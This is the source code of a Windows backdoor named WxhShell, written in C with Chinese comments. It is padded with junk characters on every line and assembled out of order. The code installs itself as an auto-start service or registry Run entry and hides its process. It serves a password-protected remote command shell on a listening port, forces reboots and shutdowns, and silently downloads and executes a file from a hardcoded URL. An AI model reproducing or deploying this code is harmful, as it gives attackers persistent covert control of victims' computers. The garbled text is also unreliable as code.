    else { B=Os?'2[  
    closesocket(wsh); u{,^#I}  
    ExitThread(0); 0%/(p?]M  
    } ^D|c  
    break; Yw<:I&  
    } zL'n J  
  // 关机 k5YDqG n'q  
  case 'd': { W=m_G]"L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fu/CX4R_|  
    if(Boot(SHUTDOWN)) ;|y,bo@sJJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1<"kN^  
    else { f7s.\  
    closesocket(wsh); Dn?L   
    ExitThread(0); jGCW^#GE  
    } cD6o8v4] ]  
    break; =3p h:t  
    } * ?+!(E  
  // 获取shell \^cn}db)  
  case 's': { WXL.D_=+  
    CmdShell(wsh); nLg7A3[1v  
    closesocket(wsh); m}(DJ?qP  
    ExitThread(0); G#Ow>NJ  
    break; 0l6%[U?o  
  } ]Y?$[+Y  
  // 退出 aRmS{X3  
  case 'x': { V2.K*CpZ7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #p >PNW-  
    CloseIt(wsh); 5UbVg  
    break; W>y_q  
    } KI{u:Lbi  
  // 离开 !l|Qyk[  
  case 'q': {  lzuZv$K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dEiX! k$#  
    closesocket(wsh); {TNAK%'v  
    WSACleanup(); "=;&{N~8U  
    exit(1); A UK7a  
    break; Mi/_hzZ\  
        } GZw<Y+/V"5  
  } wkGF&U  
  } ?8 F7BS4oQ  
Yq_zlxd%F  
  // 提示信息 ~gc)Ww0(Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;V GrZZ  
} oCrn  
  } +l9avy+P (  
"n:9JqPb  
  return; fomkwN  
} @b zrJ 7$  
:FSkXe2yy0  
// shell模块句柄 `dK\VK^  
int CmdShell(SOCKET sock) '9)@U+yfQ  
{ 3kMiC$  
STARTUPINFO si; LtQy(F%8/  
ZeroMemory(&si,sizeof(si)); ^:0?R/A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `3-j%H2R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dXj.e4,m  
PROCESS_INFORMATION ProcessInfo; wK_}`6R/  
char cmdline[]="cmd"; %YXC-E3@O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jc<3\ 7  
  return 0; weOMYJO;8  
} OW>U 5 \q  
TwN8|ibVmP  
// 自身启动模式 -h_v(s2  
int StartFromService(void) #E1*1E  
{ sw1XN?O  
typedef struct K^S#?T|[9  
{ k[p  
  DWORD ExitStatus; F-Ea85/K@4  
  DWORD PebBaseAddress; ;H^!yj5H  
  DWORD AffinityMask;  4Zq5  
  DWORD BasePriority; $I9zJ"*  
  ULONG UniqueProcessId; :PLsA3[}  
  ULONG InheritedFromUniqueProcessId; oOlI*/OMb  
}   PROCESS_BASIC_INFORMATION; o kYsjK5  
 JeA}d  
PROCNTQSIP NtQueryInformationProcess; M3V[p9>  
mNJB0B};m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0ePZxOSjD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^o 5q- ;a  
pkoHi'}}$  
  HANDLE             hProcess; ^:],JN k  
  PROCESS_BASIC_INFORMATION pbi; J L3A/^  
,P|PPx%@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V)`? J)  
  if(NULL == hInst ) return 0; nxt1Y04,H  
cZYX[.oIB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #k6;~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X[w9~t$\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); - zkB`~u_  
QUNsS9  
  if (!NtQueryInformationProcess) return 0; QNo}nl /N  
<L-L}\-I"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P(4[<'H O  
  if(!hProcess) return 0; O ?4V($  
Q,$x6YwE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;i]cmy  
fq(e~Aqw$  
  CloseHandle(hProcess); rLnu\X=h$  
/~yqZD<O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &jJgAZ!  
if(hProcess==NULL) return 0; q\,H9/.0k  
T:ck/:ZH  
HMODULE hMod; NF.SGga  
char procName[255]; "*0 szz'  
unsigned long cbNeeded; $=bN=hE  
pUmB h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yE7pCgXt  
ZoUfQ!2*  
  CloseHandle(hProcess); l|K8+5L  
|J\/U,nh  
if(strstr(procName,"services")) return 1; // 以服务启动 B}(YD;7vJ  
CtfSfSAUuu  
  return 0; // 注册表启动 zQ [mO  
} yH`xk%q_  
SXT/9FteZ  
// 主模块 6k[u0b`  
int StartWxhshell(LPSTR lpCmdLine) ~t}:vGDj  
{ BYY>;>V  
  SOCKET wsl; _Sg29qFK  
BOOL val=TRUE; O[]+v  
  int port=0; qgDBu\  
  struct sockaddr_in door; 1pn167IQL  
.D)}MyKnu  
  if(wscfg.ws_autoins) Install(); 1>2397  
`DwlS!0  
port=atoi(lpCmdLine); ._yr7uY[M  
0Zq" -  
if(port<=0) port=wscfg.ws_port; :K&hGZ+5  
l YhwV\3  
  WSADATA data; O<Kr6+ -  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gW, ET  
#RSxo 4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XBc+_=)$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }bHpFe  
  door.sin_family = AF_INET; "mOoGy, (  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]D%[GO//!  
  door.sin_port = htons(port); !nu['6I%  
o ZAjta_4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +n:#Uf)  
closesocket(wsl); M}c_KFMV  
return 1; $xl*P#  
} d. a>(G  
WULj@ds\~  
  if(listen(wsl,2) == INVALID_SOCKET) { $^l=#tV  
closesocket(wsl); &a0%7ea`.S  
return 1; i.< }X  
} '%MIG88  
  Wxhshell(wsl); brFOQU?  
  WSACleanup(); 6!'yU=Z`  
6R<%. -qr  
return 0; A +p}oY '  
P8EGd}2{8  
} mZ5UaSG  
*be+x RY  
// 以NT服务方式启动 ug{F?LW[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )uaB^L1  
{ #Y:/^Q$_qS  
DWORD   status = 0; ZibODs=f;  
  DWORD   specificError = 0xfffffff; UX0tI0.tg  
*iR`mZb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]* Hz'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6nDx;x&Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pif8/e  
  serviceStatus.dwWin32ExitCode     = 0; VjnSi  
  serviceStatus.dwServiceSpecificExitCode = 0; iN><m|  
  serviceStatus.dwCheckPoint       = 0; #K[ @$BY:  
  serviceStatus.dwWaitHint       = 0; qq/Cn4fN8  
?ix,Cu@M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8]c`n!u=`  
  if (hServiceStatusHandle==0) return; !6KEW,  
}[Y):Yy  
status = GetLastError(); C{Zv.+F  
  if (status!=NO_ERROR)  2O  
{ itvwmI,m\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L`!sV-.  
    serviceStatus.dwCheckPoint       = 0; I@\{6hw  
    serviceStatus.dwWaitHint       = 0; |&'*Z\*ya  
    serviceStatus.dwWin32ExitCode     = status; M]2 c-  
    serviceStatus.dwServiceSpecificExitCode = specificError; FlZ]R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2.[qcs3zl  
    return; spI{d!c  
  } m&\Gz*)3  
zf!c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WX[y cm8  
  serviceStatus.dwCheckPoint       = 0; qkEy$[D9  
  serviceStatus.dwWaitHint       = 0; iaC$K@a{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }a`LOBne  
} '-x%?Ll  
@!S$gTz  
// 处理NT服务事件,比如:启动、停止 EAI[J&c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +2g3%c0}  
{ WZMsmhU@T  
switch(fdwControl) iO@wqbg$6  
{ ^Nu} HcC+  
case SERVICE_CONTROL_STOP: (UM+?]Qwy  
  serviceStatus.dwWin32ExitCode = 0; ?R+$4;iy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jq!($PdA  
  serviceStatus.dwCheckPoint   = 0; `Ctj]t  
  serviceStatus.dwWaitHint     = 0; HlO+^(eX  
  { Ju\"l8[f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pI!55w|  
  } ) ad-s  
  return; w7C=R8^  
case SERVICE_CONTROL_PAUSE: bcZonS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IIPf5 Z}A  
  break; -"<f(  
case SERVICE_CONTROL_CONTINUE: . FruI#99  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o]Ki+ U  
  break; ovohl<o\  
case SERVICE_CONTROL_INTERROGATE: zM'-2,  
  break; Nh))U  
}; XVfQscZe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hke\W'&  
} 7[)(;-  
?/wloLS47  
// 标准应用程序主函数 Dmw,Bi*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c ~ SI"  
{ g:EU\  
h(L5MZs  
// 获取操作系统版本 9+:Trc\%N  
OsIsNt=GetOsVer(); Wama>dy%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lO *Hv9#  
4L0LT>'M\  
  // 从命令行安装 :uEp7Y4  
  if(strpbrk(lpCmdLine,"iI")) Install(); pIXQ/(h31  
ox6rR  
  // 下载执行文件 .DQ]q o]OG  
if(wscfg.ws_downexe) { ^#o.WL%4/B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u *< (B  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Y9?x,x  
} QKO(8D6+  
I%Awj(9BS  
if(!OsIsNt) { SS`C0&I@p  
// 如果时win9x,隐藏进程并且设置为注册表启动 nAzr!$qbNv  
HideProc(); liTr3T`,V  
StartWxhshell(lpCmdLine); I?"5i8E  
} 9V&LJhDQ  
else 8n)Q^z+ K  
  if(StartFromService()) Ua]zTMI  
  // 以服务方式启动 sF$m?/Kt  
  StartServiceCtrlDispatcher(DispatchTable); D4\I;M^  
else :q=OW1^k^  
  // 普通方式启动 -O5m@rwt<  
  StartWxhshell(lpCmdLine); KkY22_{ac  
eBB D9 SI  
return 0; mm8O  
} { SfU!  
$W]bw#NH  
Oc.>$  
!xI![N^  
=========================================== =Vs<DO{|4q  
H[r0jREK  
rXPXO=F1/  
S&*pR3,u  
j66@E\dN  
#vSI_rt9I  
" b<n)`;  
%?fzT+-=%  
#include <stdio.h> H4,yuV  
#include <string.h> )sHPIxHI  
#include <windows.h> =m:W  
#include <winsock2.h> %vXQ Sz  
#include <winsvc.h> K="+2]{I  
#include <urlmon.h> NSq=_8  
U~m.I  
#pragma comment (lib, "Ws2_32.lib") zMKL: Um"  
#pragma comment (lib, "urlmon.lib") (a?Ip)`I  
St`m52V(5X  
#define MAX_USER   100 // 最大客户端连接数 E`|qFG<  
#define BUF_SOCK   200 // sock buffer r . ^&%D  
#define KEY_BUFF   255 // 输入 buffer A3_9MO   
e?>suIB  
#define REBOOT     0   // 重启 qZh~Ay6I  
#define SHUTDOWN   1   // 关机 fm0 (  
Xhi?b|  
#define DEF_PORT   5000 // 监听端口 ks D1NB;9  
gL`SZr9  
#define REG_LEN     16   // 注册表键长度 0^[6  
#define SVC_LEN     80   // NT服务名长度 #pfosC[  
JyO lVs<T  
// 从dll定义API 7%"7Rb^@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sXxO{aeev  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GHY>DrXO1u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U4gJ![>5j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N3p3"4_]fy  
rRYf.~UH@P  
// wxhshell配置信息 Q_.Fw\l$`  
struct WSCFG { FS:WbFmc  
  int ws_port;         // 监听端口 vEGK{rMA  
  char ws_passstr[REG_LEN]; // 口令 "=.|QKC1`  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ZsZ1  
  char ws_regname[REG_LEN]; // 注册表键名 :(Bi {cw  
  char ws_svcname[REG_LEN]; // 服务名 ^~l<N@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (rn x56I$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lQ"i]};<D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?W_U{=anl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y=Qf!Cq]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OWsYE?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #9OP.4  
sjm79/  
}; W+?[SnHL/  
Z > =Y  
// default Wxhshell configuration ,6"n5Ks}  
struct WSCFG wscfg={DEF_PORT, 98^6{p  
    "xuhuanlingzhe", "'Uk0>d=_I  
    1, B:cOcd?p  
    "Wxhshell", fx:KH:q3  
    "Wxhshell", 6l'y  
            "WxhShell Service", h>0<@UP  
    "Wrsky Windows CmdShell Service", %<yM=1~>  
    "Please Input Your Password: ", M7,MxwZ0k  
  1, >N-%  
  "http://www.wrsky.com/wxhshell.exe", "6Uj:9  
  "Wxhshell.exe" i5Q<~;Z+  
    }; zi .,?Q  
J_ |x^  
// 消息定义模块 yan[{h]EZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _#m qg]W'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bq-\'h f<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :* b4/qpYv  
char *msg_ws_ext="\n\rExit."; =fK'Ep[  
char *msg_ws_end="\n\rQuit."; om?CFl  
char *msg_ws_boot="\n\rReboot..."; ~-wJ#E3g  
char *msg_ws_poff="\n\rShutdown..."; X:&p9_O@  
char *msg_ws_down="\n\rSave to "; lVtn$frp  
q}Z T?Xk?  
char *msg_ws_err="\n\rErr!"; ]xEE7H]\h  
char *msg_ws_ok="\n\rOK!"; yuEOQ\!(u  
p]Zabky  
char ExeFile[MAX_PATH]; tY'QQN||  
int nUser = 0; 4&hqeY3  
HANDLE handles[MAX_USER]; XS 8~jBjx  
int OsIsNt; j9'XZq}  
yMl'1W  
SERVICE_STATUS       serviceStatus; )OC[;>F7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; **w~  
y4We}/-<  
// 函数声明 H^;S}<pxW  
int Install(void); Gc z@ze  
int Uninstall(void); z/k~+-6O  
int DownloadFile(char *sURL, SOCKET wsh); &\|<3sd(  
int Boot(int flag); ok%!o+nk.  
void HideProc(void); Cnci%e o  
int GetOsVer(void); A5<Z&Y[  
int Wxhshell(SOCKET wsl);  iLcadX  
void TalkWithClient(void *cs); {))S<_ yN  
int CmdShell(SOCKET sock); OG7v'vmY  
int StartFromService(void); w*%$ lhp!  
int StartWxhshell(LPSTR lpCmdLine); h\*rv5\M  
EZQ+HECpK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~PW}sN6ppG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iCRw}[[  
'8kjTf#g<l  
// 数据结构和表定义 Sx9:$"3.X  
SERVICE_TABLE_ENTRY DispatchTable[] = 9w;J7jgOT!  
{ :;q_f+U  
{wscfg.ws_svcname, NTServiceMain}, .y9rM{h}b  
{NULL, NULL} fhIj+/{_O  
}; ~Z6p3# !o  
c_$&Uii  
// 自我安装 p[F=LP  
int Install(void) Bye@5D  
{ }"B? 8T@_~  
  char svExeFile[MAX_PATH]; tW"ptU^9)  
  HKEY key; 1idjX"'  
  strcpy(svExeFile,ExeFile); CU1\C*  
kJi&9  
// 如果是win9x系统,修改注册表设为自启动 tr9Y1vxo{  
if(!OsIsNt) { &9w%n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y<%.wM]-J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )]?egw5l  
  RegCloseKey(key); I5yd )72  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I= h4s(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^}/ E~Sg7\  
  RegCloseKey(key); W$Q)aA7  
  return 0; ,9tbu!Pvq  
    } %_R|@cyD  
  } ^Xy$is3  
} <C"N X  
else { ,x"yZ  
QC5f:BwM  
// 如果是NT以上系统,安装为系统服务 ^Z4q1i)JO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^x"c0R^  
if (schSCManager!=0) <ivqe"m  
{ 7M#$: Fdb  
  SC_HANDLE schService = CreateService C:GHP$/}  
  ( wQ=yY$VP  
  schSCManager,  ]RX tC*  
  wscfg.ws_svcname, ,C,e/>+My  
  wscfg.ws_svcdisp, 2C33;?M  
  SERVICE_ALL_ACCESS, M|5]#2J_2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JlDDM %  
  SERVICE_AUTO_START, >+jbMAYSq  
  SERVICE_ERROR_NORMAL, 4 ^~zN"6]  
  svExeFile, r>:L$_]L  
  NULL, *- IlF]  
  NULL, #"p1Qea$  
  NULL, 5Jhbf2-  
  NULL, ?+,*YVT  
  NULL RTgA[O4J  
  ); Ns|V7|n]  
  if (schService!=0) SXo[[ao  
  { OT}Yr9h4  
  CloseServiceHandle(schService); O`[iz/7m  
  CloseServiceHandle(schSCManager); ;Ma/b=Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8LQ59K_WX  
  strcat(svExeFile,wscfg.ws_svcname); ?F87C[o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y = g>r]2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ih-3t*L  
  RegCloseKey(key); =SK+ \j$  
  return 0; Z"n'/S:q  
    } /pIb@:Y1?  
  } <qq'h  
  CloseServiceHandle(schSCManager); UC+7-y,  
} VU`z|nBW@  
} mzV"G>,o  
aEEz4,x_  
return 1; uVq5fT`B  
} V3 _b!  
b1+hr(kMRM  
// 自我卸载 9oj e`Ay  
int Uninstall(void) #7~tL23}]  
{ I*:qGr+ WJ  
  HKEY key; !M]%8NTt2  
:,%J6Zh?  
if(!OsIsNt) { pqH( Tbjq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (o*e<y,}W  
  RegDeleteValue(key,wscfg.ws_regname); vTMP&a'5L  
  RegCloseKey(key); 4kaE}uKU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qb-2QPEB  
  RegDeleteValue(key,wscfg.ws_regname); RQo$iISwy  
  RegCloseKey(key); $d2kHT  
  return 0; {8{t]LK<  
  } :,S8T%d  
} oP=T6PX~l  
} a81!~1A  
else { ^x_ >r6  
4j. |Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qu<B%v  
if (schSCManager!=0) >w2Q 1!  
{ (zS2Ndp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N /sEec  
  if (schService!=0) O>SuZ>g+7  
  { i?a,^UM5n[  
  if(DeleteService(schService)!=0) { (0OSGG9  
  CloseServiceHandle(schService); C7b 5%a!  
  CloseServiceHandle(schSCManager); 95$pG/o  
  return 0; @zr8%8n  
  } o <D3Y95b  
  CloseServiceHandle(schService); 7wiK.99  
  } V~J*49t&2J  
  CloseServiceHandle(schSCManager); l$qStL*8O  
} YeRcf`  
} }>{ L#JW  
BN\fv,  
return 1; i>tW|N  
} ~']&.  
ERfd7V<c>  
// 从指定url下载文件 VMxYZkMNd_  
int DownloadFile(char *sURL, SOCKET wsh) C!ZI&cD9  
{ tp1KP/2w[  
  HRESULT hr; (XbMrPKG  
char seps[]= "/"; FylWbQU9  
char *token; hF7V !*5  
char *file; G}=`VYK  
char myURL[MAX_PATH]; B@cJ\  
char myFILE[MAX_PATH]; i O%Zd[  
G *mO&:q  
strcpy(myURL,sURL); _&; ZmNNhc  
  token=strtok(myURL,seps); ^i{,z*vi  
  while(token!=NULL) Y]+e  Df  
  { 0NL :z1N-h  
    file=token; :b<-[8d&  
  token=strtok(NULL,seps); mD D4_E2*  
  } _l#3]#  
T>\nWancQM  
GetCurrentDirectory(MAX_PATH,myFILE); lnC !g  
strcat(myFILE, "\\"); }yx=(+jP  
strcat(myFILE, file); /e.FY9  
  send(wsh,myFILE,strlen(myFILE),0); ur/Oc24i1n  
send(wsh,"...",3,0); H o4B   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jo,6Aog|u  
  if(hr==S_OK) xZ^ywa_  
return 0; 5 1o@b  
else \g~ws9'~  
return 1; _L*f8e8  
V~'k1P4  
} Y)'!'J  
b(q$j/~ zb  
// 系统电源模块 b:fxkQm  
int Boot(int flag) ?)!SmN/  
{ F1 <489  
  HANDLE hToken; I$aXnd6)  
  TOKEN_PRIVILEGES tkp; yD"]{  
9M1a*frxZ  
  if(OsIsNt) { ((-aC`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -;+m%"k5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X!U]`Qh  
    tkp.PrivilegeCount = 1; _wm~}_Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $!3gN%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /\TQc-k?2  
if(flag==REBOOT) { }7iUagN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3xBN10R#  
  return 0; 5c<b|  
} #C"7 l6'a  
else { f zLANya  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m5e\rMN~>\  
  return 0; - ,R0IGS  
} rumAo'T/%  
  } >:.w7LQy/  
  else { rU; g0'4e  
if(flag==REBOOT) { *mf}bTiS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k!Vn4?B"k  
  return 0; &[NVP&9&U  
} pt=7~+r  
else { ^Lsc`<xC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~J%R-{U9  
  return 0; L&:M8xiA~$  
} |2qR^Hd&5  
} q|n97.vD  
~@%(RMJm&  
return 1;  C}Rs[  
} `ajx hp  
h^['rmd  
// win9x进程隐藏模块 ;rNd701p"  
void HideProc(void) W=~id"XtJ  
{ "w;08TX8  
M_tj7Q3 W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vAi"$e  
  if ( hKernel != NULL ) 3|q2rA  
  { 86/.8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ''_,S,.a20  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1pWk9Xuh  
    FreeLibrary(hKernel); "=9-i-K9B  
  } .JNcY]V#  
0o;k?4aP.c  
return; ]9fS@SHdx  
} <"N:rn{Qq  
~q{\;  
// 获取操作系统版本 !K!)S^^Po?  
int GetOsVer(void) SxMxe,.|  
{ DD2adu^  
  OSVERSIONINFO winfo; )i&%cyZw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \'[3^/('  
  GetVersionEx(&winfo); mRwXN*Izw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sjSi;S4  
  return 1; ]t*33  
  else :b"= KQ  
  return 0; \$'R+k-57;  
} :eSc;  
Pl_^nFm0  
// 客户端句柄模块 V:(y*tFA  
int Wxhshell(SOCKET wsl) OO-_?8I}  
{ &xgZF Sq  
  SOCKET wsh; F@g17aa  
  struct sockaddr_in client; 7kdeYr~<1  
  DWORD myID; hl`u"?rg  
Xc{ZN1 4n  
  while(nUser<MAX_USER) sD{ j@WEZ  
{ bdCykG-  
  int nSize=sizeof(client); x,w8r+~5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w_\nB}_  
  if(wsh==INVALID_SOCKET) return 1; c2/"KT  
j]AekI4I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? 'Cb-C_  
if(handles[nUser]==0) hMv2"V-X  
  closesocket(wsh); 8IeI0f"l)  
else '[%jjUU  
  nUser++; </,.K`''W  
  } cxgE\4_u"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1^S'sWwe  
>Dxe>Q'df  
  return 0; 87pnSj/X"  
} 'gYg~=  
z23#G>I&  
// 关闭 socket OH>r[,z0  
void CloseIt(SOCKET wsh) l/[pEUYU  
{ V5~fMsse  
closesocket(wsh); )u<eO FI+  
nUser--; C B6A}m  
ExitThread(0); vlvvi()  
} Cb4_ ?OR0  
]{<saAmJC  
// 客户端请求句柄 TopHE  
void TalkWithClient(void *cs) w"1 x=+  
{ 7aV$YuL)X~  
aFyh,  
  SOCKET wsh=(SOCKET)cs; ,}KwP*:Z  
  char pwd[SVC_LEN]; -U7,k\g  
  char cmd[KEY_BUFF]; l(#1mY5!q8  
char chr[1]; grc:Y  
int i,j; >}CEN  
@`6}`k  
  while (nUser < MAX_USER) { GKCM|Y  
"3wv:BL  
if(wscfg.ws_passstr) { hzq5![/sV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?HV}mS[t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-x[:i  
  //ZeroMemory(pwd,KEY_BUFF); zOL;"/R  
      i=0; )Z("O[  
  while(i<SVC_LEN) { p=H3Q?HJ}  
s"q=2i  
  // 设置超时 Q<1L`_.>  
  fd_set FdRead; Gy9 $Wj  
  struct timeval TimeOut; a#$N%=j  
  FD_ZERO(&FdRead); qIz}$%!A  
  FD_SET(wsh,&FdRead); mf$Sa58  
  TimeOut.tv_sec=8; g &*mozs  
  TimeOut.tv_usec=0; f\ 'T_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i@XB&;*c\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P<vo;96JT  
##v`(#fu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;?zF6zvQ  
  pwd=chr[0]; 07FT)QTE  
  if(chr[0]==0xd || chr[0]==0xa) { fCg@FHS&^  
  pwd=0; V3Yd&HVWNQ  
  break; St+ "ih%  
  } :G#KB'  
  i++; ?,>5[Ha^?  
    } 8TW5(fl  
"oe!M'aj`1  
  // 如果是非法用户,关闭 socket @7%.7LK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i-]U+m*  
} \ADLMj`F|  
(n,N8k;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $~G@   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; h85=l<8u  
'AWp6L@  
while(1) { F5U|9<  
sBU_Ft  
  ZeroMemory(cmd,KEY_BUFF); N}DL(-SQ3  
JCD?qeTg  
      // 自动支持客户端 telnet标准   or!!s 5[d  
  j=0; e}e6r3faz  
  while(j<KEY_BUFF) { {yS;NU`2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ws[/  
  cmd[j]=chr[0]; 7E\g &R.  
  if(chr[0]==0xa || chr[0]==0xd) { O@wK[(w^  
  cmd[j]=0; \2>3Opt  
  break; kM;o0wi  
  } ('JKN"3  
  j++; xp^ 7#`MJ?  
    } o,*=$/or  
x6v,lR  
  // 下载文件 p?kvW42/  
  if(strstr(cmd,"http://")) { 8SZK:VE@  
